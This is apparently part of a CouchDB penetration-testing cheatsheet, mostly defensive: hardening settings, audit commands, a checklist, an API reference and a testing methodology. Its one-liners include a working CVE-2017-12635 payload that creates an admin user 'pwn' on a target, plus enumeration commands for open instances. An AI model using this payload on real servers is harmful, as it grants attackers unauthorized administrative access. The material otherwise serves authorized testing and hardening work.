Configure CORS Properly

# Edit /etc/couchdb/local.ini

[cors]
origins = https://trusted-domain.com
credentials = false
methods = GET, PUT, POST, HEAD, DELETE
headers = accept, authorization, content-type, origin

Database-Level Security

# Set database security
curl -u admin:password -X PUT \
     http://localhost:5984/<database>/_security \
     -H "Content-Type: application/json" \
     -d '{
       "admins": {
         "names": ["admin"],
         "roles": ["_admin"]
       },
       "members": {
         "names": ["appuser"],
         "roles": ["users"]
       }
     }'

Disable Dangerous Endpoints

# Edit /etc/couchdb/local.ini

[httpd_global_handlers]
# Disable Fauxton UI in production
_utils = {couch_httpd_misc_handlers, handle_utils_dir_req, "/dev/null"}

# Disable stats if not needed
_stats = {couch_httpd_stats_handlers, handle_stats_req}

Regular Security Audits

# Check for admin users
curl -u admin:password http://localhost:5984/_node/_local/_config/admins

# Check database security settings
curl -u admin:password http://localhost:5984/<database>/_security

# Review user roles
curl -u admin:password http://localhost:5984/_users/_all_docs?include_docs=true

# Check active tasks
curl -u admin:password http://localhost:5984/_active_tasks

# Check replication jobs
curl -u admin:password http://localhost:5984/_scheduler/jobs

Logging and Monitoring

# Enable detailed logging in /etc/couchdb/local.ini

[log]
level = info
file = /var/log/couchdb/couch.log

# Monitor for suspicious activity:
# - Failed authentication attempts
# - Privilege escalation attempts
# - Configuration changes
# - Unusual replication jobs

# Example: Monitor logs
tail -f /var/log/couchdb/couch.log | grep -i "auth\|admin\|config"

Security Hardening Checklist

☐ Disable party mode (create admin user)
☐ Require authentication for all operations
☐ Bind to localhost or specific IP (not 0.0.0.0)
☐ Change default Erlang cookie from "monster"
☐ Enable HTTPS/TLS
☐ Configure firewall rules
☐ Block EPMD port (4369) from internet
☐ Set proper database-level security
☐ Disable Fauxton UI in production
☐ Configure CORS properly (not *)
☐ Keep CouchDB updated
☐ Regular security audits
☐ Monitor logs for suspicious activity
☐ Implement rate limiting
☐ Use strong passwords (20+ characters)
☐ Regular backups
☐ Document security configurations

Quick Reference Commands

One-Liners

# Quick authentication check
curl -s http://<target>:5984/_all_dbs | grep -q error && echo "Auth required" || echo "Party mode!"

# List all databases
curl -s http://<target>:5984/_all_dbs | jq -r '.[]'

# Count documents in database
curl -s http://<target>:5984/<db> | jq '.doc_count'

# Get admin users
curl -u admin:pass http://<target>:5984/_node/_local/_config/admins | jq '.'

# Quick privilege escalation (CVE-2017-12635)
curl -X PUT http://<target>:5984/_users/org.couchdb.user:pwn -H "Content-Type: application/json" -d '{"type":"user","name":"pwn","roles":["_admin"],"roles":[],"password":"pwn"}'

Essential CouchDB Commands

# Server info
GET /
GET /_up
GET /_active_tasks

# Database operations
GET /_all_dbs
PUT /<database>
DELETE /<database>
GET /<database>
GET /<database>/_security

# Document operations
GET /<database>/_all_docs
GET /<database>/<doc_id>
PUT /<database>/<doc_id>
POST /<database>
DELETE /<database>/<doc_id>?rev=<rev>

# User operations
GET /_users/_all_docs
PUT /_users/org.couchdb.user:<username>
POST /_session
DELETE /_session
GET /_session

# Configuration
GET /_node/_local/_config
PUT /_node/_local/_config/<section>/<key>
GET /_config  # Older versions

Resources & References

Official Documentation

Penetration Testing Resources

CVE References

Tools

Exploit Databases


Best Practices for Pentesters

  • Always obtain written authorization before testing
  • Stay within the defined scope of engagement
  • Document all actions taken during testing
  • Report vulnerabilities responsibly
  • Do not cause data loss or service disruption
  • Maintain confidentiality of discovered data

Operational Security

  • Use authorized networks and IP addresses
  • Clean up artifacts after testing (backdoor users, malicious documents)
  • Avoid noisy scans when stealth is required
  • Use secure channels for reporting findings
  • Log all activities for accountability

Testing Methodology

  1. Reconnaissance - Identify CouchDB instances and versions
  2. Enumeration - Gather database, user, and configuration info
  3. Vulnerability Assessment - Test for party mode, CVEs, misconfigurations
  4. Exploitation - Attempt privilege escalation and RCE
  5. Post-Exploitation - Assess impact, demonstrate risk
  6. Data Exfiltration - Document sensitive data exposure
  7. Documentation - Record all findings with evidence
  8. Remediation - Provide actionable recommendations

Reporting

  • Provide clear, actionable recommendations
  • Include proof-of-concept demonstrations
  • Explain business impact of vulnerabilities
  • Prioritize findings by severity (CVSS scores)
  • Document remediation steps
  • Include evidence (screenshots, command outputs)
  • Rate findings: Critical, High, Medium, Low, Informational

Disclaimer

This cheatsheet is intended for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal and punishable by law. Always obtain proper written authorization before conducting penetration tests. The techniques described here should only be used in controlled environments with explicit permission.

Comments